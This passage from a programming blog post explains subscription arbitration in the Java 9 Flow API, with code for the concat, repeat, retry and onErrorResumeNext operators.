- If there was a non-zero produced amount and the requested amount isn't Long.MAX_VALUE, we subtract the two. The new requested amount is then saved.
- If there was a new Flow.Subscription set via setSubscription, we indicate where to request from outside the loop and we indicate the whole current requested amount (now including any async downstream request and upstream produced count) should be used. The CAS will make sure the next Flow.Subscription only becomes the current one if there was no cancellation in the meantime.
- Otherwise, we target the current Flow.Subscription, add up the downstream's extra requests capped at Long.MAX_VALUE. The reason for this is that the downstream may issue multiple requests (r1, r2) in a quick succession which makes the logic to loop back again, now having r1 + r2 items outstanding from the downstream's perspective.
Now that the infrastructure is ready, let's implement a couple of operators.
Concatenating an array of Flow.Publishers
Perhaps the simplest operator we could write on top of the SubscriptionArbiter is the concat() operator. It consumes one Flow.Publisher after another in a non-overlapping fashion until all of them have completed.
@SafeVarargs public static <T> Flow.Publisher<T> concat(Flow.Publisher<? extends T>... sources) { return new ConcatPublisher<>(sources); }
The ConcatPublisher itself is straightforward: create a coordinator, send it to the downstream and trigger the consumption of the first source:
@Override public void subscribe(Flow.Subscriber<? super T> s) { ConcatCoordinator<T> parent = new ConcatCoordinator<>(s, sources); s.onSubscribe(parent); parent.drain(); }
The ConcatCoordinator can be implemented as follows:
static final class ConcatCoordinator<T> extends SubscriptionArbiter implements Flow.Subscriber<T> { final Flow.Subscription<? super T> downstream; final Flow.Publisher<? extends T>[] sources; int index; int trampoline; static final VarHandle TRAMPOLINE = VH.find(MethodHandles.lookup(), ConcatCoordinator.class, "trampoline", int.class); long consumed; ConcatCoordinator( Flow.Subscription<? super T> downstream, Flow.Publisher<? extends T>[] sources ) { this.downstream = downstream; this.sources = sources; } @Override public void onSubscribe(Flow.Subscription s) { // TODO implement } @Override public void onNext(T item) { // TODO implement } @Override public void onError(Throwable throwable) { // TODO implement } @Override public void onComplete() { // TODO implement } void drain() { // TODO implement } }
The ConcatCoordinator extends the SubscriptionArbiter, thus it is a Flow.Subscription as well and as such will be used as the connection object towards the downstream. It also implements Flow.Subscription because we'll use the same instance to subscribe to all of the Flow.Publishers one after the other.
One may come up with the objection that reusing the same Flow.Subscriber instance is not allowed by the Reactive-Streams specification the Flow API inherited. However, the specification actually just discourages the reuse and otherwise mandates external synchronization so that the onXXX methods are invoked in a serialized manner. We'll see that the trampolining in the operator will just ensure that property along with the arbiter itself. Of course, we could just new up a Flow.Subscriber for the next source but that Flow.Subscriber would be itself nothing more than a delegator for the coordinator instance (no need for a per-source state in it); combining the two just saves on allocation and indirection.
The fields are interpreted as follows:
- downstream is the Flow.Subscriber that receives the signals.
- sources is the array of Flow.Publishers that will be consumed one after the other
- index points at the current Flow.Publisher and gets incremented once one completes.
- trampoline is the work-in-progress indicator for the drain loop; chosen to avoid clashing with the arbiter's own wip field in this blog for better readability. In practice, since they are in different classes, one can name them both wip.
- consumed tracks how many items the current source has produced (and has the coordinator consumed). We'll use this to update the arbiter at the completion of the current source instead of doing it for each item received because that saves a lot of overhead and we don't really care about each individual item's reception.
The coordinator's onXXX methods are relatively trivial at this point:
@Override public void onSubscribe(Flow.Subscription s) { setSubscription(s); } @Override public void onNext(T item) { consumed++; downstream.onNext(item); } @Override public void onError(Throwable throwable) { downstream.onError(throwable); } @Override public void onComplete() { drain(); }
We save the Flow.Subscription into the arbiter, write through the item or throwable and call the drain method upon normal completion.
What's left is the drain() method itself:
void drain() { // (1) ------------------------------------------------------- if ((int)TRAMPOLINE.getAndAdd(this, 1) == 0) { do { // (2) ----------------------------------------------- if (isCancelled()) { return; } // (3) ----------------------------------------------- if (index == sources.length) { downstream.onComplete(); return; } // (4) ----------------------------------------------- long c = consumed; if (c != 0L) { consumed = 0L; setProduced(c); } // (5) ----------------------------------------------- sources[index++].subscribe(this); // (6) --------------------------------------------------- } while ((int)TRAMPOLINE.getAndAdd(this, -1) - 1 != 0); } }
Again, not really a complicated method, but as usual, the difficulty may come from understanding why such short code is actually providing the required behavior and safeguards:
- We know that drain() is only invoked from the subscribe() or onComplete() methods. This standard lock-free trampolining check ensures only one thread is busy setting up the consumption of the next (or the first) source. In addition, since only a guaranteed one-time per source onComplete() can trigger the consumption of the next, we don't have to worry about racing with onNext in this operator. (However, an in-flow concatMap is a different scenario.) This setup also defends against increasing the stack depth due to tail-subscription: a trampoline > 1 indicates we can immediately subscribe to the next source.
- In case the downstream cancelled the operator, we simply quit the loop.
- In case the index is equal to the number of sources, it means we reached the end of the concatenation and can complete the downstream via onComplete().
- Otherwise, we indicate to the arbiter the number of items consumed from the previous source so it can update its outstanding (current) request amount. Note that consumed is not concurrently updated because onNext and onComplete (and thus drain) on the same source can't be executed concurrently.
- We then subscribe to the next source, move the index forward by one to point to the next-next source and subscribe with this.
- Finally if there was no synchronous or racy onComplete, we quit the loop, otherwise we resume with the subsequent sources.
One can add a few features and safeguards to this coordinator, such as delaying errors till the very end and ensuring the indexth sources entry is not null. These are left as exercise to the reader.
Repeat
How can we turn this into a repeat operator where the source is resubscribed on successful completion? Easy: drop the index and have only a single source Flow.Publisher to be worked on!
public static <T> Flow.Publisher<T> repeat( Flow.Publisher<T> source, long max) { return new RepeatPublisher<>(source, max); } // ... subscribe() has the same pattern. static final class RepeatCoordinator<T> extends SubscriptionArbiter implements Flow.Subscriber<T> { final Flow.Publisher<T> source; long max; // ... the onXXX methods are the same final void drain() { if ((int)TRAMPOLINE.getAndAdd(this, 1) == 0) { do { if (isCancelled()) { return; } if (--max < 0L) { downstream.onComplete(); return; } long c = consumed; if (c != 0L) { consumed = 0L; setProduced(c); } source.subscribe(this); } while ((int)TRAMPOLINE.getAndAdd(this, -1) - 1 != 0); } } }
Given that repeating indefinitely is usually not desired, we limit the resubscriptions to a number of times specified by the user. Since there is only one source Flow.Publisher, no indexing into an array is needed and we only have to decrement the counter to detect the condition for completing the downstream.
Retry
How about retrying a Flow.Publisher in case it failed with an onError? Easy: have onError call drain() and onComplete call downstream.onComplete() straight:
public static <T> Flow.Publisher<T> retry( Flow.Publisher<T> source, long max) { return new RepeatPublisher<>(source, max); } // ... subscribe() has the same pattern. static final class RetryCoordinator<T> extends SubscriptionArbiter implements Flow.Subscriber<T> { final Flow.Publisher<T> source; long max; // ... the onSubscribe and onNext methods are the same @Override public void onError(Throwable throwable) { if (--max < 0L) { downstream.onError(throwable); } else { drain(); } } @Override public void onComplete() { downstream.onComplete(); } final void drain() { if ((int)TRAMPOLINE.getAndAdd(this, 1) == 0) { do { if (isCancelled()) { return; } long c = consumed; if (c != 0L) { consumed = 0L; setProduced(c); } source.subscribe(this); } while ((int)TRAMPOLINE.getAndAdd(this, -1) - 1 != 0); } } }
There are two slight changes in retry(). First, in case we run out of the retry count, the latest Flow.Publisher's error is delivered to the downstream from within onError and no further retry can happen. Consequently, the drain logic no longer should call onComplete when the number of allowed retries have been used up.
On error, resume with another Flow.Publisher
Now that we've seen multi-source switchover and single-source continuation, switching to an alternative or "fallback" Flow.Publisher should be straightforward to set up: have a 2 element array with the main and fallback Flow.Publishers, then make sure onError triggers the switch.
public static <T> Flow.Publisher<T> onErrorResumeNext( Flow.Publisher<T> source, Flow.Publisher<T> fallback) { return new RepeatPublisher<>(source, fallback); } // ... subscribe() has the same pattern. static final class RetryCoordinator<T> extends SubscriptionArbiter implements Flow.Subscriber<T> { final Flow.Publisher<T> source; final Flow.Publisher<T> fallback; boolean switched; // ... the onSubscribe and onNext methods are the same @Override public void onError(Throwable throwable) { if (switched) { downstream.onError(throwable); } else { switched = true; drain(); } } @Override public void onComplete() { downstream.onComplete(); } final void drain() { if ((int)TRAMPOLINE.getAndAdd(this, 1) == 0) { do { if (isCancelled()) { return; } long c = consumed; if (c != 0L) { consumed = 0L; setProduced(c); } if (switched) { fallback.subscribe(this); } else { source.subscribe(this); } } while ((int)TRAMPOLINE.getAndAdd(this, -1) - 1 != 0); } } }
Here, we have two states, switched == false indicates we are consuming the main source. If that fails, we set switched = true and the drain loop will subscribe to the fallback Flow.Publisher. However, if the fallback fails, the onError also checks for switched == true and instead of draining (and thus retrying) the fallback Flow.Publisher again, it just terminates with the Throwable the fallback emitted.
Conclusion
In this post, the subscription arbitration concept was presented which allows us to switch between non-overlapping Flow.Publisher sources when one terminates (completes or fails with an error) while maintaining the link of cancellation between the individual Flow.Subscriptions as well as making sure backpressure is properly transmitted and preserved between them.
When combining with a trampolining logic, such arbitration allowed us to implement a couple of standard ReactiveX operators such as concat, repeat, retry and onErrorResumeNext while only applying small changes to the methods and algorithms in them.
Note however, that even if the arbiter can be reused for in-flow operators such as concatMap (concatenate Flow.Publishers generated from upstream values), repeatWhen (repeat if a companion Flow.Publisher signals an item) and retryWhen, one can no longer use a single Flow.Subscriber to subscribe to both the main flow and the inner/companion flows at the same time. We will explore these types of operators in a later post.
The arbitration has its own limit: it can't support live switching between sources, i.e., when onNext may be in progress while the switch has to happen. If you are familiar with the switchMap operator, this is what can happen during its execution. We'll look into this type of operator in a subsequent post.
But for now, we'll investigate a much lighter set of operators in the next post: limiting the number of items the downstream can receive and skipping certain number of items from the upstream; both based on counting items and based on a per-item predicate checks, i.e., the take() and skip() operators.
Nincsenek megjegyzések:
Megjegyzés küldése | https://akarnokd.blogspot.com/2017/09/java-9-flow-api-arbitration-and.html | CC-MAIN-2020-05 | refinedweb | 3,482 | 50.53 |
Equivalent function of datenum(datestring) of Matlab in Python
matlab datenum to python datetime
matlab to python time
date conversion in python
pandas convert datenum to datetime
python datetime to seconds
python convert datetime to timestamp
python parse date
In Matlab, when I run "datenum" function as the following;
datenum(1970, 1, 1);
I get the following output:
719529
I'm trying to find the equivalent function or script which is gonna give me the same output. But, unfortunately I couldn't find an enough explanation on the internet to do this.
I have looked at this tutorial:, but it didn't help.
Could you tell me, how can I get the same output in python?
Thanks,
I would use the datetime module and the toordinal() function
from datetime import date print date.toordinal(date(1970,1,1)) 719163
To get the date you got you would use
print date.toordinal(date(1971,1,2)) 719529
or for easier conversion
print date.toordinal(date(1970,1,1))+366 719529
I believe the reason the date is off is due to the fact datenum starts its counting from january 0, 0000 which this doesn't recognize as a valid date. You will have to counteract the change in the starting date by adding one to the year and day. The month doesn't matter because the first month in datetime is equal to 0 in datenum
Convert Matlab datenum into Python datetime � GitHub, def datenum_to_datetime(datenum): """ Convert Matlab datenum into Python datetime. :param datenum: Date in datenum format :return:� DateString = datestr(t) converts.
You can substract
date objects in Python:
>>> date(2015, 10, 7) - date(1, 1, 1) datetime.timedelta(735877) >>> (date(2015, 10, 7) - date(1, 1, 1)).days 735877
Just take care to use an epoch that is useful to your needs.
Convert date and time to string format - MATLAB datestr, This MATLAB function converts the datetime or duration values in the input array t to or equal to 12, then datenum considers the text to be in 'yy/mm/dd' format. DateNumber = datenum(t) converts the datetime or duration values in the input array t to serial date numbers.. A serial date number represents the whole and fractional number of days from a fixed, preset date (January 0, 0000) in the proleptic ISO calendar.
The previous answers return an integer. MATLAB's datenum does not necessarily return an integer. The following code retuns the same answer as MATLAB's datenum:
from datetime import datetime as dt def datenum(d): return 366 + d.toordinal() + (d - dt.fromordinal(d.toordinal())).total_seconds()/(24*60*60) d = dt.strptime('2019-2-1 12:24','%Y-%m-%d %H:%M') dn = datenum(d)
Convert date and time to serial date number, Serial Date Number — A single number equal to the number of days since Serial date numbers are useful as inputs to some MATLAB functions that do not use the datenum or datevec functions, respectively, to convert a datetime array to �
Convert Between Datetime Arrays, Numbers, and Text, Matlab's datenum representation is the number of days since midnight on Jan 1st , 0 AD. Python's datetime.fromordinal function assumes time is� Hi, I have table with column of datenum. I need to do a join with another table which has also a column of date but in just a plain format such as '11/1/2017'. But I got this error: Left and right key variables 'Date' and 'Date' are not comparable because one is a non-cell.
The Sociograph: Converting MATLAB's datenum to Python's datetime, Hello, I have to convert a MATLAB's datenum to Python's datetime. The following code is as below: import datetime matlab_datenum� In the datetime module, there is a function “datetime.datetime.today().weekday()”. This function returns the day of the week as an integer, where Monday is 0 and Sunday is 6. Please write a Python program using a for loop to generate and print log entries for the rest of the week starting from today.
Error when converting MATLAB's datenum to Python's datetime, A tutorial on writing MatLab-like functions using the Python language datetime( 2059, 12, 12), {'days':1, 'hours':2})] x = [p.datenum(i.date()) for� Teams. Q&A for Work. Stack Overflow for Teams is a private, secure spot for you and your coworkers to find and share information.
- So, will I be able to add datestring as a parameter in "toordinal()" function?
date.toordinal(date(1970, 1, 1))gives a result of
719163, which does not match the result in the question
- Please show how do you get output
719529with input
1970, 1, 1using your command.
- Thanks for your answers, horns and Alex.S. Currently I don't have Matlab in my computer, that's why I'm using online matlab compiler on this link: octave-online.net And I get this result on that page.
- Thanks for your answer @SirParselot. Your answer is true. There is a 366 difference between MATLAB and Python.
- Hello Kay, do you know why do I get "'datetime.date' object has no attribute 'days'" error? :)
- Probably you missed the parentheses.
date(...) - date(...) → timedelta, and
timedeltahas a
daysattribute.
- This gives almost the same answer as mine which isn't right either. Any idea as to why?
- @SirParselot, yes, we both use
0001-01-01as epoch, but Matlab uses
0000-00-00which I assume is December 31th 1 BC. That's why I said "Just take care to use an epoch that is useful to your needs", because Matlab's epoch is strange. :) | https://thetopsites.net/article/54692662.shtml | CC-MAIN-2021-25 | refinedweb | 931 | 62.98 |
Incorrect coverage results for python 3.0.1
Hi,
I stumbled across what appears to be an edge case. Just thought I'd lodge it in case it's of interest.
I did the exact same test on python versions 246, 255, 265, 301 and 312. It only manifests on 301 and is easily repeatable with my tests.
The following code will cause the incorrect result:
{{{
import sys
def pytest_generate_tests(metafunc): for i in range(10): metafunc.addcall()
def test_foo(): version = sys.version_info[:2] if version == (2, 4): pass if version == (2, 5): pass if version == (2, 6): pass if version == (2, 7): pass if version == (3, 0): pass if version == (3, 1): pass }}}
It produce:
{{{ Name Stmts Miss Cover Missing
test_central 18 1 94% 18 }}}
Line 18 is the pass statement that it hits since it is python 301. If the pass statements are replaced by simple assignment like a = True then it works correctly and gives:
{{{ Name Stmts Miss Cover Missing
test_central 18 5 72% 10, 12, 14, 16, 20 }}}
Curious!
I'm using tip of coverage (3.4a1) plus my one minor fix to coverage (unrelated trivial change). But I see this problem before long time ago but only investigate it now (previously marked my tests to fail for python 301).
:)
Looking at this again, I wonder if the issue isn't Python 3.0.1, but the fact that the pass at the end could be optimized away. Add "if version == (4, 0): pass" to the end of the if-ladder, maybe Python 3.0.1 will work properly.
Python 3.0.1 is not supported. | https://bitbucket.org/ned/coveragepy/issues/77/incorrect-coverage-results-for-python-301 | CC-MAIN-2018-26 | refinedweb | 270 | 73.37 |
[
]
benson margulies updated CXF-987:
---------------------------------
Attachment: (was: mapping.xsd.diff)
> Aegis schema does not match the actual situation
> ------------------------------------------------
>
> Key: CXF-987
> URL:
> Project: CXF
> Issue Type: Bug
> Components: Aegis Databinding
> Affects Versions: 2.0.1
> Reporter: benson margulies
> Attachments: aegis.xsd
>
>
> There are a number of problems with the aegis schema that is published.
> The big one is that it claims that the files are in a namespace. In XML schema, if there
is a targetNamespace, the files that conform to that schema have to have an xmlns for that
namespace in the top element. setting the defaultElementForm only effects what happens inside
the root element, it does not authorize the root element to have no namespace.
> The solution to this is to leave out the targetNamespace declaration altogether, but
put the XML schema glop in a prefix like 'xsd'.
> In addition, the 'method' element was missing, as were the 'flat' and 'maxOccurs' attributes.
> As you might guess from this writeup, I have come up with a working replacement, which
I will attach.
> I also have code to enable validation, but I'm attaching that to another JIRA.
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online. | http://mail-archives.apache.org/mod_mbox/cxf-issues/200709.mbox/%3C20890093.1190376474790.JavaMail.jira@brutus%3E | CC-MAIN-2017-43 | refinedweb | 209 | 64.2 |
anyone else with the same experience...and how did you work around this to get the behavior that page actions are supposed to give.
Eric Ray
Well - if you give us some ideas (i.e. 'working' code) that illustrates your concerns we may be able to help out.
Eric, I had the same experience with previous versions of seam, but with 1.0.1.GA it works nice.
In pages.xml (web-root/web/WEB-INF)
<pages> <page view- </pages>
@Name("orderBinding") @Scope(EVENT) public class OrderBindingBean { public String doIt() { System.out.println("****************"); System.out.println("* it works********"); System.out.println("****************"); return null; }
Yes, I agree. It works. It wasn't clear to me that the view-id property was the actual name of the file. I'm using facelets and was replacing the file extension with .jsf. I needed to leave it as .xhtml. Once I figured that out, it worked just fine.
I though I needed to use the DEFAULT_SUFFIX in the view-id. I didn't.
Thanks.
Eric Ray
It is a JSF view-id, not a URL fragment. | https://developer.jboss.org/thread/132246 | CC-MAIN-2018-51 | refinedweb | 182 | 77.74 |
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How to load enumeration values.
I want to load enumeration value from my model to selection field without storing it to the database.i know that i can specify the list of values in the selection field but this way is not working with domain filter.I want the selection field to be filtered based on some condition?
Instead of listing the values in the selection field you can supply them from a function. The function will return a list of values:
def get_my_list(self):
do something...
return [('a', 'A'),('b', 'B')]
my_list = fields.Selection(selection=get_my_list)
However, if you really need to set a domain on this field using a selection might not be the best option. I don't know your use-case so I can't comment on it, except to say that filtering a selection field seems sub-optimal to me.
Thanks Michale the thing i want is to limit the enum values based on some business constraints and i did it using a model with many2one field but with this thing i have to store the values in a database may be if it is possible to get values from model without storing it in database.
Binyam,
Your query is not clear, but as far as i got, you want to make selection field work as a many2one field.
For that i would suggest you to go in reverse manner, make many2one field look as a selection field.
You can take a many2one field, and simply add widget="selection" in its xml part.
hope it works for you..!
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Code:// DogDayCare.cpp : Defines the entry point for the console application. // Eric Vardinakis // 9'24'2012 #include "stdafx.h" #include<iostream> using namespace std; int _tmain(int argc, _TCHAR* argv[]) { int mediumdog; int LageDog = 35; int smalldog = 10; int shortstay; int longstay = 11; cout << "How much does your dog way "; cin >> mediumdog; if (mediumdog < smalldog) cout << "You have a small dog."<< endl; else if (mediumdog > LageDog) cout << "You have a big dog." << endl; else cout <<"You have a medium size dog."<< endl; { cout << "How long wil you dog be staying here. " << endl; cin >> shortstay; if (shortstay < longstay) cout << "Thats a short stay."<< endl; else cout << "Thats a long stay."<< endl; } system("pause.exe"); return 0; }
I am new to C++ and programming. the code i wrote works but my college professor wants me to make dogs that are under 10ld cost $12 dogs that are between 10-35lb cost $16 and dogs that are over 35lb cost $19. if they stay1-10 days. If they stay 11 or more days she wants it to say under10lb cost $10 10-35lb cost $13 and over 35lb cost $17
This is the link to my book if you don't get what i am saying its page 119 Exercises 12 DogDayCare.cpp
please i need some one to help me this is do Tuesday at 11pm est | http://forums.devshed.com/programming/931190-homework-help-last-post.html | CC-MAIN-2015-14 | refinedweb | 225 | 80.31 |
Are you referring to a model like
????
If so the nth root is introduced when solving for r.
Hi,
I am working on a couple of calucalations for a colleague that wants to arrive at a Compounded Annual Growth Rate (CAGR) for a time-series of investment data:
Total Return (adding 1 to each period's % return and then multiplying them all together to get a Total Return 1.xxxx and the final CAGR calculation which takes the nth root of the Total Return (nth root being the number of % return periods) and subtracting 1.
I understand mechanically how to do the problem, but I don't understand for Total Return what the formula means: why do I add 1 to each return and then multiply them sequentially - what does that do/mean as "Total Return"?
Then, for the CAGR calculation, why is the nth root being taken? In other words, and not only for this problem, why is the nth root or square root used - what does it ulimately do to the output of any problem?
Thanks for helping with my conceptual understanding!
Here is an example I found:
hp 12c (platinum) - Calculating a Compound Annual Growth Rate : HP Calculator : Educalc.net
Start with $1,000. In year one you get a 20% return ($1,200 at year end). In year two you go up another 10% ($1,320 at end of year two), down 15% in year three ($1,122), and up 30% in year four ($1,458.60 ending amount).
Multiply the returns for each year to get the total return.
1.20 * 1.10 * 0.85 * 1.30 = 1.4586 (or 45.86%)
Now, all we need is the CAGR. For two years we took the square root. For three years, you would take the cube root. For four years, that's the... quad root or something? I just use my trusty spreadsheet to do these calculations. Spreadsheets and some calculators take roots by using the inverse of the root as an exponent, so a square root is 1/2, a cube root is 1/3, etc. In this example, that's:
1.4586^(1/4), or 1.4586^0.25, which equals 1.099.
1.099 - 1= 0.099, or 9.9%.
CAGR is an average of sorts...more specifically, it's the geometric mean of the beginning and ending amounts.
In your example you started with $1K and after baking in the oven for four years at +20%, +10%, -15%, and +30% your investment pops out at $1,458.60. I.e., your actual investment returns turned the one grand into $1,458.60 in 4 years.
CAGR answers the question, "What hypothetical return r, if I had instead earned r each year for 4 years, would have produced the same results?"
To answer that question, you'd first tee it up as
just has Pickslides has shown. And as he's also pointed out, solving for r involves taking the 4th root, since n is the number of years.just has Pickslides has shown. And as he's also pointed out, solving for r involves taking the 4th root, since n is the number of years.
Thanks for the clarifications.
Also, what I am trying to understand: why are square roots used in may solutions as this? Conceptually what does taking the nth root of some interim calculation / number, like Total Return do / why is this done?
In a nutshell, I don't understand why squared roots are used in many cases.
Thanks again!
StGeorges, you've probably already had your "aha" moment thanks to the foregoing from Pickslides and Wilmer...but I'll just toss one more out there for grins...
Playing off of Pickslides' example, you know that after three years at 6%, $100 has grown to 100 x 1.06^3 = 119.1016.
But suppose you don't know the 6% rate beforehand; you just know that 100 bucks became $119.10 over a three-year span. You know only the original investment, the number of years, and the resulting growth amount. You're curious as to what annual rate would have produced that particular growth result (the "CAGR").
That's simply a matter of 'unwinding' Pickslides' calculation. (Mathematically, such 'unwindings' are usually done in reverse order.) Pickslides' calculation involved two key steps: (1) added '1' to the 6%; then (2) raised to the power of 3.
To reverse-engineer back to the 6% we'll (1) undo the exponentiation by taking the third root (review Wilmer's last post); then (2) deduct the '1'...
= 0.06 = 6%.= 0.06 = 6%.
So the CAGR calc will have square roots when two-year growth periods are involved; cube roots if it's a three-year period... | http://mathhelpforum.com/business-math/153664-cagr-why-square-roots-taken.html | CC-MAIN-2016-50 | refinedweb | 795 | 74.39 |
This article will demonstrate how to build an application for Softbank mobile phones (S!Application) using J2ME. It assumes no prior development experience and should be relatively easy to follow even for beginners.
* Can be downloaded from the S!Application Development Tools page of the Softbank Mobile Creation site (free registration required, site in Japanese only.)
Select “File” -> “New” -> “Other” -> “MEXA” -> “MEXA Project”
Enter your project name and press “Next.” On the second panel, set the executable path to the MEXA Emulator directory and the build class path to the MEXA library:
Executable path: \Program Files\SOFTBANK_MEXA_EMULATOR23
Build class path: \Program Files\SOFTBANK_MEXA_EMULATOR23\lib\stubclasses.zip
Click “Finish” once completed.
MIDlet
Right-click on the project’s “src” folder and select “New” -> “Class”
Enter a class name in the “Name” field, enter “javax.microedition.midlet.MIDlet” for the “Superclass,” and click “Finish.”
javax.microedition.midlet.MIDlet
Double-click on the project’s “.jad” file and fill out the MIDlet name and vendor fields. Check the “use” check box next to your new class and add an application name.
import javax.microedition.lcdui.Display;
import javax.microedition.lcdui.Form;
startApp
Form form = new Form("");
form.append("Hello World");
Display.getDisplay(this).setCurrent(form);
Right-click on your top project folder and select “Properties”.
In the “MEXA Emulation Settings” window, set the MEXA Emulator project path to the “.jar” file created by your current project. You can find this path by right-clicking on the jar file in the Eclipse project window and checking the location label.
Select “Run” -> “Run Configurations”.
Double-click on “MEXA Emulator - MEXA” and select your current project in the settings window. Click “Apply” and then “Run” to launch your application in the. | http://www.codeproject.com/Articles/44371/Creating-Softbank-Mobile-Phone-Applications-J2ME?fid=1552458&df=10000&mpp=25&noise=3&prof=True&sort=Position&view=Thread&spc=Relaxed&select=3280459 | CC-MAIN-2015-14 | refinedweb | 285 | 60.31 |
Expected class name error
Hi all,
This is the .h file of a program. I face the following error but whatever I look I can't find out why Qt creator's compiler shows that error! Would you please have a look at it?
C:\Users\ME\Documents\Qt\Sort\sortdialog.h:8: error: expected class-name before '{' token
{
^
The
.hfile:
#ifndef SORTDIALOG_H #define SORTDIALOG_H #include <QDialog> #include "ui_sortdialog.h" class SortDialog : public QDialog, public Ui::SortDialog { Q_OBJECT public: SortDialog(QWidget* parent = 0); void setColumnRange(QChar first, QChar last); }; #endif // SORTDIALOG_H
- kshegunov Qt Champions 2016
Syntax is correct, it probably complains about
Ui::SortDialog. Perhaps your form isn't called
SortDialog? Go in the designer and make sure the form's (top-level widget's) name is matching the class name you're using.
This is my form:
What do you mean by "form's (top-level widget's)" please?
- kshegunov Qt Champions 2016
@tomy said in Expected class name error:
What do you mean by "form's (top-level widget's)" please?
This is what I mean. The first object's name is how the class will be called. In my case it's the "inventive"
MainWindow, thus the generated class will be
Ui::MainWindow. Make sure your top level widget (the one that's on top of everything else) is called
SortDialog.
Kind regards.
I changed the Form's objectname to SortDialog and the bug fixed!
Thanks. | https://forum.qt.io/topic/75046/expected-class-name-error | CC-MAIN-2017-39 | refinedweb | 239 | 58.38 |
Since the advent of Node.js in 2009, everything we knew about JavaScript changed. The seemingly dying language made a phoenix-like comeback, growing to become the most popular language in the world.
JavaScript was earlier seen as a web-browser’s language, but Node.js came and made it server-side. In essence, Node.js allows developers to develop web-servers with JavaScript. Thus, JavaScript was not only used in browsers, but also in the development of web servers.
In January 2010, NPM was introduced to the Node.js environment. It makes Node.js easier for developers to publish and share the source code of JavaScript libraries. The developers can then use the code by installing the library and importing it into their code.
NPM has since been the de-facto software registry for JavaScript and Node.js libraries. Many frameworks have emerged using NPM to distribute their library. React, Vue, Angular, and many other apps are developed using NPM. You either install their boilerplates or install their official CLI tool. All this happens through NPM, and of course, Node.js must be installed.
Right now, there are billions of libraries in NPM. Angular, React and its cousins are all imported from NPM, and modules dependent on these frameworks are also hosted in NPM. Normally, it is quite easier to write and host a JS library in NPM because it is not dependent on any other framework. The challenge here is how do we write and publish a module dependent on a JS framework to be used as an NPM library.
That’s what we are going to solve here and we will be developing a library for the React.js framework.
In this tutorial, we are going to see how to create a React component library and publish it on NPM.
As a demo, we are going to build a countdown timer.
A countdown timer is used to display the countdown to any event. Like, in wedding anniversary, countdown timers can be used to cut the cake. You know the popular: “10! 9! 8! …0!”
So, we are going to develop our own countdown timer for the React framework, so that it can be used by other devs in their React apps. They just need to pull in our library, instead of re-inventing the wheel.
The source code we are going to build in this article can be found here.
Here is a list of things we are going to achieve in this article:
Configure Babel to transform JSX to JS.
Configure Rollup to produce efficient, minified code that works in all browsers(both old and new browsers).
Deploy our React component to NPM.
I’ll assume you are familiar with these tools and frameworks:
Node.js, NPM, Babel, Rollup
React.js
Git
JavaScript, ES6, and CSS
Also, make sure you have Node.js, IDE (Visual Studio Code, Atom), and Git all installed. NPM comes with Node.js and it doesn’t need a separate installation.
Let’s set up our project directory. I’ll call mine countdown-timer. Inside that, we will create src directory for sources and test directory for unit tests:
mkdir countdown-timer cd countdown-timer mkdir src
After that, the directory countdown-timer will look like this:
+- countdown-timer +- src
Next, we are going to make our directory i.e a Node.js project directory:
This command creates a package.json file with the basic information we supplied to NPM. -y flag makes it possible to bypass the process of answering questions when using only the npm init command.
package.json is the most important file in a Node.js project. It is used to let NPM know some basic things about our project and, crucially, the external NPM packages it depends on.
We install libraries that are important to our development process:
npm i react -D
We installed the react library as a dev Dependency since we don't want NPM to download it again when the user installs our library. This is because the user would have already installed the react library in his React app.
So after the above command, our package.json will look like this:
{ "name": "countdown-timer", "version": "1.0.0", "description": "A React library used to countdown time", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "repository": { "type": "git", "url": "git+" }, "keywords": [], "author": "Chidume Nnamdi <kurtwanger40@gmail.com>", "license": "ISC", "bugs": { "url": "" }, "homepage": "", "devDependencies": { "react": "^16.3.2" } }
Next, we create countdown.js in the src folder:
countdown.js will contain our code implementation. We won't go down to explain our code. You can just add anything, maybe a text, "Holla! My First Component". It doesn't matter, all you have to know is the essential configurations needed to deploy and use a React component as a library.
To build a React component for NPM, we must first import React and Component from the react library.
// src/countdown.js import React, { Component } from 'react'
Next, we defined our component, CountDown:
// src/countdown.js import React, { Component } from 'react' class CountDown extends Component { }
We defined CountDown which extends Component i.e it overrides and inherits all props and methods from the Component class. The reason we imported the Component from react is that it can be used by our module bundler to make React global.
Paste this code in our class, CountDown:
// src/component.js ... class CountDown extends Component { constructor(props) { super(props) this.count = this.count.bind(this) this.state = { days: 0, minutes: 0, hours: 0, secounds: 0, time_up:"" } this.x = null this.deadline = null } count () { var now = new Date().getTime(); var t = this.deadline - now; var days = Math.floor(t / (1000 * 60 * 60 * 24)); var hours = Math.floor((t % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((t % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((t % (1000 * 60)) / 1000); this.setState({days, minutes, hours, seconds}) if (t < 0) { clearInterval(this.x); this.setState({ days: 0, minutes: 0, hours: 0, seconds: 0, time_up: "TIME IS UP" }) } } componentDidMount() { this.deadline = new Date("apr 29, 2018 21:00:00").getTime(); this.x = setInterval(this.count, 1000); } render() { const { days, seconds, hours, minutes, time_up } = this.state return ( <div> <h1>Countdown Clock</h1> <div id="clockdiv"> <div> <span className="days" id="day">{days}</span> <div className="smalltext">Days</div> </div> <div> <span className="hours" id="hour">{hours}</span> <div className="smalltext">Hours</div> </div> <div> <span className="minutes" id="minute">{minutes}</span> <div className="smalltext">Minutes</div> </div> <div> <span className="seconds" id="second">{seconds}</span> <div className="smalltext">Seconds</div> </div> </div> <p id="demo">{time_up}</p> </div> ) } } export default CountDown
Starting at the constructor, we bound the count function to the class instance. We have declared our state object which contains days, minutes, hours, seconds, and time_up properties. They will store the current values when our timer ticks(.i.e. counts down). We defined the this.x variable which will hold a reference to a setInterval function. The this.deadline will store the time or the deadline that our timer will tick down to.
We used componentDidMount to start our timer. You know, the constructor first executes, followed by componentDidMount and finally, the render method comes last. That's the reason we delegated initialization to the constructor then started the timer at componentDidMount, render then displays the values: hours, days, minutes, seconds.
constructor ==> componentDidMount ==> render
Finally, we have successfully exported our CountDown class. So now our users can import the CountDown component in their React project when they install our library.
Now, we are done with our component, next step is to bundle our component using Rollup.
Rollup is a module bundler that takes all our JS files in our project and bundles them up into one JS file.
First, we install the rollup library:
NB: You can use -D or --save-dev flag. -D is shortcut notation for --save-dev.
This downloads the rollup library from npm registry into node_modules folder and registers it in the devDependencies section in our package.json.
... "devDependencies": { "react": "^16.3.2", "rollup": "^0.58.2" } ...
